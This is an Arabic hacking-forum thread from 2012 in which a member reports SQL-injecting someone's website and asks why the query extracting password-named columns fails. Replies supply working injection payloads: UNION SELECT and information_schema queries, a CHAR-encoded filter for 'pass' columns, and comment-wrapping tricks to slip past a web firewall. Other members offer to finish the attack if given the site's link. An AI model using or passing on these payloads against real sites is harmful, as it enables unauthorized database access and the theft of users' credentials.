الحقن جنني

03-30-2012, 03:48 PM

السلام عليكم ورحمة الله وبركاته

كيف الحال إن شاء الله بخير

المهم ماطول عليكم حقنت لي موقع وعرفت عدد الاعمده والاعمده المصابه والاصدار طلع 5

لكن يوم جيت اطبق الامر مكان العمود المصاب

concat(table_name,0x3a3a,column_name)

في اخر الحقنه

from+information_schema.columns+where%20column_nam e+like+CHAR(37, 112, 97, 115, 115, 37)

يطلع لي خطا ,؟

ايش المشكله اتمنى افادتي وشكرا ؟

ايش هيه ممكن الحلول لهذه المشكله جزاكم الله خير

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC hgprk [kkd

AMINE-3d · 03-30-2012, 04:53 PM

ورينا الموقع يا اخي

Dr.Unkn0wn · 03-30-2012, 04:53 PM

أهلاً أخــي جرب هكذا
ضع أمر version() في مكان العمود المصاب
ثم ثع آخر الحقنة :

كود PHP:

  from+information_schema.columns

إذا لم يأتيك خطأ فأنت على صواب ..
بعدهـا إستبدل أمر إصدار القاعدة بـ

كود PHP:

  concat(table_name,0x3a,column_name,0x3a,table_schema)

و إذا لم يأتيك فوربدن أكمل الحقنة بـ

كود PHP:

  where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)

بالتوفيق..

ملاحظة: لتخطي الفوربيدن ضع :
مثـال

كود PHP:

  /*! concat*/
or
/**/cancat/**/
or
/*--*/cancat/*--*/

aircrack -ng · 03-30-2012, 06:35 PM

مافيش كلمة pass
اعرض الجداول

مثلا

كود PHP:

  site.com/index.php?sid=-1 union select 1,2,3,4,group_CONCAT(table_name),6,7+from+information_schema.tables

Spire_Barde · 03-31-2012, 12:25 AM

ضع رابط الموقع وان شاء الله نتم الحقن

التواصل المباشر مع الادارة والاعضاء القدامى من خلال قناة التلغرام

الحقن جنني

جـــ'ابات العناكــ'ب